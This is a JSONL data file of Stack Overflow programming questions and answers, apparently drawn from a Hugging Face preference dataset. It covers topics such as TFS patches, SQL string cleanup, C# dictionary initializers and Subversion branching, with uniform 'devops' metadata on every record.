{"id": "hf_761c9cb4e828", "question": "<p>Creating a patch is very easy in SubVersion, With Tortoise, you right-click and select Create Patch. But for the life of me, I can't find this functionality in TFS. Is this possible?</p>\n\n<p>If not, what's the standard way to submit patches in open source TFS hosted projects (a la CodePlex)?</p>\n", "question_body": "", "answer": "```\n```\ntf diff /shelveset:shelveset /format:unified\n```\n```\nEdit:\nThis writes to standard output.  You can pipe the output to a file.\nFor more options, see\nDifference Command\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.471666"}
{"id": "hf_556f3f825a62", "question": "<p>How can I use the Prototype library and create unobtrusive javascript to inject the onmouseover and onmouseout events to each row, rather than putting the javascript in each table row tag?</p>\n\n<p>An answer utilizing the Prototype library (instead of mootools, jQuery, etc) would be most helpful.</p>\n", "question_body": "", "answer": "You can use Prototype's\n```\naddClassName\n```\nand\n```\nremoveClassName\n```\nmethods.\nCreate a CSS class \"hilight\" that you'll apply to the hilighted\n```\n<tr>\n```\n's.  Then run this code on page load:\n```\n```\nvar rows = $$('tbody tr');  \nfor (var i = 0; i < rows.length; i++) {  \n    rows[i].onmouseover = function() { $(this).addClassName('hilight'); }  \n    rows[i].onmouseout = function() { $(this).removeClassName('hilight'); }  \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.495577"}
{"id": "hf_28c3d9e34267", "question": "<p>I need to check programmatically (in .NET) whether a given user (domain account) is a member of the built-in Administrators group on a current computer (the one where the application gets executed).</p>\n\n<p>Is it possible?</p>\n", "question_body": "", "answer": "You could loop the groups like i did in this answer:\nDetermining members of local groups via C#\nAfter reading some more, the easiest thing would be to use the\n```\nSystem.DirectoryServices.AccountManagement\n```\nnamespace. Here is how it can be used:\nhttp://www.leastprivilege.com/SystemDirectoryServicesAccountManagement.aspx\nSample:\n```\n```\npublic static bool IsUserInGroup(string username, string groupname, ContextType type)\n{\n    PrincipalContext context = new PrincipalContext(type);\n\n    UserPrincipal user = UserPrincipal.FindByIdentity(\n        context,\n        IdentityType.SamAccountName,\n        username);\n    GroupPrincipal group = GroupPrincipal.FindByIdentity(\n        context, groupname);\n\n    return user.IsMemberOf(group);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.531587"}
{"id": "hf_a130fe29e463", "question": "<p>Wrote the following in PowersHell as a quick iTunes demonstration:</p>\n\n<pre><code>$iTunes = New-Object -ComObject iTunes.Application\n$LibrarySource = $iTunes.LibrarySource\nforeach ($PList in $LibrarySource.Playlists)\n{\n  write-host $PList.name\n}\n</code></pre>\n\n<p>This works well and pulls back a list of playlist names.\nHowever on trying to close iTunes a warning appears</p>\n\n<blockquote>\n  <p>One or more applications are using the iTunes scripting interface. Are you sure you want to quit?</p>\n</blockquote>\n\n<p>Obviously I can just ignore the message and press [Quit] or just wait the 20 seconds or so, but is there a clean way to tell iTunes that I've finished working with it?</p>\n\n<pre><code>Itunes 7.7.1, Windows XP\n</code></pre>\n", "question_body": "", "answer": "Here is one thing that I did on my a Powershell script that adds podcasts to iTunes. I use Juice on a server to download all the podcasts that I listen to.  The script uses .Net methods to release the COM objects.  When I wrote my iTunes script I had read a couple of articles that stated you should release your COM objects using .NET.\n```\n```\n[void][System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$LibrarySource)\n    [void][System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$iTunes)\n```\n```\nI also run my scripts the majority of time from a shortcut, not from the powershell prompt.\nBased on your comments, I did some testing and I determined that I would get the message when running against iTunes, if I ran my script in a way that leaves powershell running.  iTunes seems to keep track of that.  Running the script in a manner that exits it's process after running, eliminated the message.\nOne method of running your script from powershell, is to prefix your script with powershell.\n```\n```\npowershell .\\scriptname.ps1\n```\n```\nThe above command will launch your script and then exit the process that was used to run it, but still leaving you at the powershell prompt.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.555585"}
{"id": "hf_1e4d491b6d66", "question": "<p>So, I know that try/catch does add some overhead and therefore isn't a good way of controlling process flow, but where does this overhead come from and what is its actual impact?</p>\n", "question_body": "", "answer": "I'm not an expert in language implementations (so take this with a grain of salt), but I think one of the biggest costs is unwinding the stack and storing it for the stack trace.  I suspect this happens only when the exception is thrown (but I don't know), and if so, this would be decently sized hidden cost every time an exception is thrown... so it's not like you are just jumping from one place in the code to another, there is a lot going on.\nI don't think it's a problem as long as you are using exceptions for EXCEPTIONAL behavior (so not your typical, expected path through the program).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.598614"}
{"id": "hf_8df11d4115f6", "question": "<p>We have some input data that sometimes appears with &amp;nbsp characters on the end.</p>\n\n<p>The data comes in from the source system as varchar() and our attempts to cast as decimal fail b/c of these characters.</p>\n\n<p>Ltrim and Rtrim don't remove the characters, so we're forced to do something like:</p>\n\n<pre><code>UPDATE myTable\nSET myColumn = replace(myColumn,char(160),'')\nWHERE charindex(char(160),myColumn) &gt; 0\n</code></pre>\n\n<p>This works for the &amp;nbsp, but is there a good way to do this for any non-alphanumeric (or in this case numeric) characters?</p>\n", "question_body": "", "answer": "This page\nhas a sample of how you can remove non-alphanumeric chars:\n```\n```\n-- Put something like this into a user function:\nDECLARE @cString    VARCHAR(32)\nDECLARE @nPos    INTEGER\nSELECT  @cString = '90$%45623 *6%}~:@'\nSELECT  @nPos = PATINDEX('%[^0-9]%', @cString)\n\nWHILE @nPos > 0\nBEGIN\nSELECT @cString = STUFF(@cString, @nPos, 1, '')\nSELECT  @nPos = PATINDEX('%[^0-9]%', @cString)\nEND\n\nSELECT @cString\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.635405"}
{"id": "hf_3820790b1b46", "question": "<p>I'm thinking this might be a quick and easy way to lower the form spam on our site just a little bit. The idea being that (I have read) spammers aren't running with javascript enabled. (Or at least they are accessing your website without running javascript. I.e., they aren't browsing up to it in IE or FF.</p>\n\n<p>I can use .asp or .aspx.</p>\n", "question_body": "", "answer": "The simplest way is to set a cookie via javascript and check for it on postback.However, if you're looking to minimize spam you should actually have the browser perform a simple task which requires javascript execution. See Phil Haack's \"Invisibile Captcha Validator\" control, which has since been included in his Subkismet library:\nhttp://haacked.com/archive/2006/09/26/Lightweight_Invisible_CAPTCHA_Validator_Control.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.695241"}
{"id": "hf_dad2e1051566", "question": "<p>I have an application that reads a CSV file with piles of data rows.  I give the user a summary of the number of rows based on types of data, but I want to make sure that I don't read in too many rows of data and cause <code>OutOfMemoryError</code>s.  Each row translates into an object.  Is there an easy way to find out the size of that object programmatically?  Is there a reference that defines how large primitive types and object references are for a <code>VM</code>?</p>\n\n<p>Right now, I have code that says read up to <strong>32,000 rows</strong>, but I'd also like to have code that says read as many rows as possible until I've used <strong>32MB</strong> of memory.  Maybe that is a different question, but I'd still like to know. </p>\n", "question_body": "", "answer": "I doubt you want to do it programmatically unless you just want to do it once and store it for future use.  It's a costly thing to do.  There's no sizeof() operator in Java, and even if there was, it would only count the cost of the references to other objects and the size of the primitives.\nOne way you could do it is to serialize the thing to a File and look at the size of the file, like this:\n```\n```\nSerializable myObject;\nObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream (\"obj.ser\"));\noos.write (myObject);\noos.close ();\n```\n```\nOf course, this assumes that each object is distinct and doesn't contain non-transient references to anything else.\nAnother strategy would be to take each object and examine its members by reflection and add up the sizes (boolean & byte = 1 byte, short & char = 2 bytes, etc.), working your way down the membership hierarchy.  But that's tedious and expensive and ends up doing the same thing the serialization strategy would do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.718954"}
{"id": "hf_67b63e5353f0", "question": "<p>I've been doing c# for a long time, and have never come across an easy way to just new up a hash.</p>\n\n<p>I've recently become acquainted with the ruby syntax of hashes and wonder, does anyone know of a simple way to declare a hash as a literal, without doing all the add calls.</p>\n\n<pre><code>{ \"whatever\" =&gt; {i =&gt; 1}; \"and then something else\" =&gt; {j =&gt; 2}};\n</code></pre>\n", "question_body": "", "answer": "If you're using C# 3.0 (.NET 3.5) then you can use collection initializers. They're not quite as terse as in Ruby but still an improvement.\nThis example is based on the\nMSDN Example\n```\n```\nvar students = new Dictionary<int, StudentName>()\n{\n    { 111, new StudentName {FirstName=\"Sachin\", LastName=\"Karnik\", ID=211}},\n    { 112, new StudentName {FirstName=\"Dina\", LastName=\"Salimzianova\", ID=317, }},\n    { 113, new StudentName {FirstName=\"Andy\", LastName=\"Ruth\", ID=198, }}\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.828348"}
{"id": "hf_e2fe1671ec8b", "question": "<p>I don't ever recall coming across anything for C that's as extensive as C++'s Boost library.</p>\n", "question_body": "", "answer": "I've never seen anything. Really, C++ templates are the enabling technology for STL and much of boost, and C doesn't have them. I've seen many C-interface libraries for things like image processing, 3D graphics, networking, etc., but never a real general-purpose library like boost. You can find pieces though - threading libraries, string libraries, etc. - that are similar to sections of boost.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.852396"}
{"id": "hf_9e5ef44cdf68", "question": "<p>Can I return it as an object if I am doing a </p>\n\n<pre><code>Select OneItem from Table Where OtherItem = \"blah\"?\n</code></pre>\n\n<p>Is there a better way to do this?</p>\n\n<p>I am building a constructor to return an object based on its name rather than its ID.</p>\n", "question_body": "", "answer": "```\nquery.UniqueResult<T>()\n```\nreturns just one\nT", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.889659"}
{"id": "hf_7060bb43fb57", "question": "<p>I'm coming from the open source world, and interested in giving ASP.NET a spin. But I'm having a little trouble separating the tools from the platform itself in regards to the licensing. I've downloaded Visual Web Developer 2008 Express, but not sure how different this is from one of the full-featured Visual Studio licenses -- and whether or not my Express license will prevent me from using all the features of ASP.NET.</p>\n\n<p>Is a Visual Studio license just an IDE, or does it include pieces of .NET not available to the Express license?  What about the other tools like IIS and SQL Server?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "All of .net is available in the .net SDK, so in theory you will not need Visual Studio at all.\nNow, there are some things that Express will not do. For example, the Database Designer is not very comprehensive and adding different remote databases is not or only very hardly possible. Still, in code you can connect to everything.\nThere is also no Remote Debugger, no support for creating Setup Files (well, that does not apply to ASP.net anyway), no real Publish Web Site Feature (although that can be\nadded manually\nas it's just a Frontend for a SDK tool), no integrated Unit testing (and Microsoft\nloves to threaten people\nwho add it), etc.\nFor a full comparison, see here:\nVisual Studio 2008 Editions\nBut as said: Functionality of .net is all in the SDK, Visual Studio is just making it a bit easier to work with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.913013"}
{"id": "hf_8ae8de905366", "question": "<p>What does the <code>,</code> operator do in C?</p>\n", "question_body": "", "answer": "The expression:\n```\n```\n(expression1,  expression2)\n```\n```\nFirst\n```\nexpression1\n```\nis evaluated, then\n```\nexpression2\n```\nis evaluated, and the value of\n```\nexpression2\n```\nis returned for the whole expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.985973"}
{"id": "hf_bcc0c56ebefc", "question": "<p>Anyone know this compiler feature? It seems GCC support that. How does it work? What is the potential gain? In which case it's good? Inner loops?</p>\n\n<p>(this question is specific, not about optimization in general, thanks)</p>\n", "question_body": "", "answer": "The fun thing about optimization is that speed gains are found in the unlikeliest of places.\nIt's also the reason you need a profiler, rather than guessing where the speed problems are.\nI recommend starting with a profiler (\n```\ngperf\n```\nif you're using GCC) and just start poking around the results of running your application through some normal operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.010276"}
{"id": "hf_b6a7d9140b36", "question": "<p>What is iPhone's browser tag and how iPhone optimized web site is different from a usual mobile web site?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Nettuts has a great introduction to web-developement for iPhone. You find it\nhere\nThis is the specific code you asked for (taken from that article):\n```\n```\n<!--#if expr=\"(${HTTP_USER_AGENT} = /iPhone/)\"-->   \n\n<!--  \nplace iPhone code in here  \n-->   \n\n<!--#else -->   \n\n<!--  \n    place standard code to be used by non iphone browser.   \n-->   \n<!--#endif -->\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.034594"}
{"id": "hf_6a544da9956a", "question": "<p>I'm on a little quest of merging the structure of two MySql databases. Is there a tool for this with the might of Red-Gate's SQL Compare? Are there any free alternatives?</p>\n", "question_body": "", "answer": "although i dont have any experience with it, i hear that navicat would be the tool to use:\nhttps://www.navicat.com/en/products/navicat-for-mysql\nalso toad for mysql i hear isnt bad:\nhttp://www.quest.com/toad-for-mysql/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.082694"}
{"id": "hf_1f6859539b48", "question": "<p>A requirement for an ASP.Net 2.0 project I'm working on limits a certain field to a max of 10 words (not characters). I'm currently using a CustomValidator control with the following ServerValidate method:</p>\n\n<pre><code>Protected Sub TenWordsTextBoxValidator_ServerValidate(ByVal source As Object, ByVal args As System.Web.UI.WebControls.ServerValidateEventArgs) Handles TenWordsTextBoxValidator.ServerValidate\n    '' 10 words\n    args.IsValid = args.Value.Split(\" \").Length &lt;= 10\nEnd Sub\n</code></pre>\n\n<p>Does anyone have a more thorough/accurate method of getting a word count?</p>\n", "question_body": "", "answer": "You can use one of the builtin validators with a regex that counts the words.\nI'm a little rusty with regex so go easy on me:\n```\n```\n(\\b.*\\b){0,10}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.107163"}
{"id": "hf_873c80f26d71", "question": "<p>I'm looking for some \"Best Practices\" for automating the deployment of Stored Procedures/Views/Functions/Table changes from source control. I'm using StarTeam &amp; ANT so the labeling is taken care of; what I am looking for is how some of you have approached automating the pull of these objects from source - not necessarily StarTeam.</p>\n\n<p>I'd like to end up with one script that can then be executed, checked in, and labeled.</p>\n\n<p>I'm NOT asking for anyone to write that - just some ideas or approaches that have (or haven't) worked in the past.</p>\n\n<p>I'm trying to clean up a mess and want to make sure I get this as close to \"right\" as I can.</p>\n\n<p>We are storing the tables/views/functions etc. in individual files in StarTeam and our DB is SQL 2K5.</p>\n", "question_body": "", "answer": "I prefer to separate views, procedures, and triggers (objects that can be re-created at will) from tables.  For views, procedures, and triggers, just write a job that will check them out and re-create the latest.\nFor tables, I prefer to have a database version table with one row.  Use that table to determine what new updates have not been applied.  Then each update is applied and the version number is updated.  If an update fails, you have only that update to check and you can re-run know that the earlier updates will not happen again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.155781"}
{"id": "hf_b94da9b6d258", "question": "<p>What are the available libraries for creating pretty charts and graphs in a Python application?</p>\n", "question_body": "", "answer": "Have you looked into\nChartDirector for Python\n?\nI can't speak about this one, but I've used ChartDirector for PHP and it's pretty good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.204901"}
{"id": "hf_e179f583bbad", "question": "<p>How are people unit testing code that uses Linq to SQL? </p>\n", "question_body": "", "answer": "Normally, you don't need to test the part of the code that uses LINQ to SQL but if you really want to, you can use the same data sets that you're querying against the server and turn them into in-memory objects and run the LINQ queries against that (which would use the Enumerable methods instead of Queryable).\nAnother option is to use Matt Warren's\nmockable version of the DataContext\n.\nYou can also get the SQL statements that LINQ to SQL uses by getting them via the debugger (from the IQueryable object), check those manually, and then include them in the automated tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.231928"}
{"id": "hf_5f305f930b1b", "question": "<p>There are many ASP.MVC blog post bits and pieces scattered over different web sites, as well as couple of resource questions here - <a href=\"https://stackoverflow.com/questions/14599/aspnet-model-view-controller-mvc-where-do-i-start-from\">ASP.NET Model-view-controller (MVC) - where do I start from?</a> and <a href=\"https://stackoverflow.com/questions/10425/mvc-learning-resources\">MVC Learning Resources</a></p>\n\n<p>I wonder if there was a one-stop tutorial posted yet on getting started with ASP.NET MVC?</p>\n\n<p>Thank you!</p>\n\n<p><strong>Edit:</strong> I probably need to clarify - a one-stop tutorial that'd help to get started within and hour or two and learn more as I go... Reading books is a non starter for me personally - takes more time I can afford and starts with basics...</p>\n", "question_body": "", "answer": "http://www.asp.net/mvc\nWhoops, submitted before I was done.  The ASP.NET MVC site has tons of videos/screencast on getting started with ASP.NET MVC.  Definitely watch the Scott Hanselman ones first.\nEdit\nThe Rob Conery screencasts that\n@David provided\nare provided on the\nASP.NET MVC site\nalso, under videos.  That would constitute one spot to get those resources and also the ones the ASP.NET MVC team put out.\nOne note on any resource you use.  You could run into functionality that is no longer available in the framework due to it being in development.  If you use the resources provided that you already found along with the tutorials, you will find the replacements or how to get around it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.256116"}
{"id": "hf_8cc5f83b5b69", "question": "<p>Let's say you have a variable in a makefile fragment like the following:</p>\n\n<pre><code>MY_LIST=a b c d\n</code></pre>\n\n<p>How do I then reverse the order of that list?  I need:</p>\n\n<pre><code>$(warning MY_LIST=${MY_LIST}) \n</code></pre>\n\n<p>to show</p>\n\n<pre><code>MY_LIST=d c b a\n</code></pre>\n\n<p>Edit:  the real problem is that </p>\n\n<pre><code>ld -r some_object.o ${MY_LIST}\n</code></pre>\n\n<p>produces an <code>a.out</code> with undefined symbols because the items in <code>MY_LIST</code> are actually archives, but in the wrong order.  If the order of <code>MY_LIST</code> is reversed, it will link correctly (I think).  If you know a smarter way to get the link order right, clue me in.</p>\n", "question_body": "", "answer": "Doh!  I could have just used a shell script-let:\n```\n(for d in ${MY_LIST}; do echo $$d; done) | tac\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.279980"}
{"id": "hf_20e79cac2038", "question": "<p>I know RIM has their own IDE (<a href=\"http://na.blackberry.com/eng/developers/downloads/jde.jsp\" rel=\"nofollow noreferrer\">BlackBerry JDE</a>) for building BlackBerry apps, but does anyone know how to configure <a href=\"http://www.jetbrains.com/idea/index.html\" rel=\"nofollow noreferrer\">IntelliJ IDEA</a> to build/debug BlackBerry apps?</p>\n", "question_body": "", "answer": "Not really an answer, but more asking for clarification what is different for Blackberry dev versus other J2ME devices...\nI see its a\nMIDP J2ME\ndevice, and so the standard\nIntellij J2ME\nsupport would seem to give most of what is needed.\nI guess the emulator side of things might be different... but maybe you can call the jde emulator from IDEA...\nRegards,\nChris", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.315069"}
{"id": "hf_83576c48b9c3", "question": "<p>Here is the full error: <code>SqlException: A transport-level error has occurred when receiving results from the server. (provider: Shared Memory Provider, error: 1 - I/O Error detected in read/write operation)</code></p>\n\n<p>I've started seeing this message intermittently for a few of the unit tests in my application (there are over 1100 unit &amp; system tests).  I'm using the test runner in ReSharper 4.1.</p>\n\n<p>One other thing: my development machine is a VMWare virtual machine.</p>\n", "question_body": "", "answer": "I ran into this many moons ago.  Bottom line is you are running out of available ports.\nFirst make sure your calling application has connection pooling on.\nIf that does then check the number of available ports for the SQL Server.\nWhat is happening is that if pooling is off then every call takes a port and it takes by default 4 minutes to have the port expire, and you are running out of ports.\nIf pooling is on then you need to profile all the ports of SQL Server and make sure you have enough and expand them if necessary.\nWhen I came across this error, connection pooling was off and it caused this issue whenever a decent load was put on the website.  We did not see it in development because the load was 2 or 3 people at max, but once the number grew over 10 we kept seeing this error.  We turned pooling on, and it fixed it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.386653"}
{"id": "hf_f1f88c93352d", "question": "<p>Is there a good way to see what format an image is, without having to read the entire file into memory? </p>\n\n<p>Obviously this would vary from format to format (I'm particularly interested in TIFF files) but what sort of procedure would be useful to determine what kind of image format a file is without having to read through the entire file?</p>\n\n<p><strong>BONUS</strong>: What if the image is a Base64-encoded string? Any reliable way to infer it before decoding it?</p>\n", "question_body": "", "answer": "Most image file formats have unique bytes at the start. The unix\n```\nfile\n```\ncommand looks at the start of the file to see what type of data it contains. See the Wikipedia article on\nMagic numbers in files\nand\nmagicdb.org\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.458814"}
{"id": "hf_fadd4b3a35fe", "question": "<p>What is best practice when creating your exception classes in a .NET solution: To derive from <code>System.Exception</code> or from <code>System.ApplicationException</code>?</p>\n", "question_body": "", "answer": "```\nApplicationException\n```\nconsidered useless\nis a strong, and critical, argument against\n```\nApplicationException\n```\n.\nUpshot: don't use it. Derive from\n```\nException\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.489178"}
{"id": "hf_542d36ce9de7", "question": "<p>I am using Windows, and I have two monitors.</p>\n\n<p>Some applications will <em>always</em> start on my primary monitor, no matter where they were when I closed them.</p>\n\n<p>Others will always start on the <em>secondary</em> monitor, no matter where they were when I closed them.</p>\n\n<p>Is there a registry setting buried somewhere, which I can manipulate to control which monitor applications launch into by default?</p>\n\n<p>@rp: I have Ultramon, and I agree that it is indispensable, to the point that Microsoft should buy it and incorporate it into their OS.  But as you said, it doesn't let you control the default monitor a program launches into.</p>\n", "question_body": "", "answer": "I'm fairly sure the primary monitor is the default.  If the app was coded decently, when it's closed, it'll remember where it was last at and will reopen there, but -- as you've noticed -- it isn't a default behavior.\nEDIT: The way I usually do it is to have the location stored in the app's settings.  On load, if there is no value for them, it defaults to the center of the screen.  On closing of the form, it records its position.  That way, whenever it opens, it's where it was last.  I don't know of a simple way to tell it to launch onto the second monitor the first time automatically, however.\n-- Kevin Fairchild", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.514212"}
{"id": "hf_9c939d9a7552", "question": "<p>Does any one know how the event handler manages the posted events?</p>\n\n<p>In my app i have two threads (<em>guiThread</em> and <em>computationThread</em>). After an exception is thrown I call <code>postEvent(..)</code> to an existing dialog. The Qt-Event-Handler holds this one back until the dialog is closed. </p>\n\n<hr>\n\n<p>Sorry my question is a bit cloudy. I will write it more exactly, if I have time left. I found a work around. But for me the problem is still interesting.</p>\n", "question_body": "", "answer": "As mentionned in the Qt documentation about\nQCoreApplication::postEvent\n:\nWhen control returns to the main event loop, all events that are stored in the queue will be sent using the notify() function.\n...which explains why the Qt Event Handler holds the event until the dialog is closed.\nIf I understand correctly what you want to do, I would try using\nsendEvent\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.537589"}
{"id": "hf_cdeb3c5e1b6b", "question": "<p>I think this is specific to IE 6.0 but...</p>\n\n<p>In JavaScript I add a <code>div</code> to the DOM. I assign an <code>id</code> attribute. When I later try to pick up the <code>div</code> by the <code>id</code> all I get is <code>null</code>.</p>\n\n<p>Any suggestions?</p>\n\n<p>Example:</p>\n\n<pre><code>var newDiv = document.createElement(\"DIV\");\nnewDiv.setAttribute(\"ID\", \"obj_1000\");\ndocument.appendChild(newDiv);\n\nalert(\"Added:\" + newDiv.getAttribute(\"ID\") + \":\" + newDiv.id + \":\" + document.getElementById(\"obj_1000\") );\n</code></pre>\n\n<p>Alert prints <code>\"::null\"</code></p>\n\n<p>Seems to work fine in Firefox 2.0+</p>\n", "question_body": "", "answer": "You have to add the div to the dom.\n```\n```\n// Create the Div\nvar oDiv = document.createElement('div');\ndocument.body.appendChild(oDiv);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.578984"}
{"id": "hf_b44601df8a74", "question": "<p>How do I create a branch in subversion that is deeper' than just the 'branches' directory?</p>\n\n<p>I have the standard <code>trunk</code>, <code>tags</code> and <code>branches</code> structure and I want to create a branch that is several directories deeper than the 'branches' tag.</p>\n\n<p>Using the standard svn move method, it gives me a <strong>folder not found</strong> error. I also tried copying it into the branches folder, checked it out, and the 'svn move' it into the tree structure I wanted, but also got a 'working copy admin area is missing' error.</p>\n\n<p>What do I need to do to create this?</p>\n\n<p>For the sake of illustration, let us suppose I want to create a branch to go directly into 'branches/version_1/project/subproject' (which does not exist yet)?</p>\n", "question_body": "", "answer": "```\n```\nsvn copy --parents http://url/to/subproject http://url/to/repository/branches/version_1/project/subproject\n```\n```\nThat should create the directory you want to put the subproject in (\n```\n--parents\n```\nmeans \"create the intermediate directories for me\").", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.606941"}
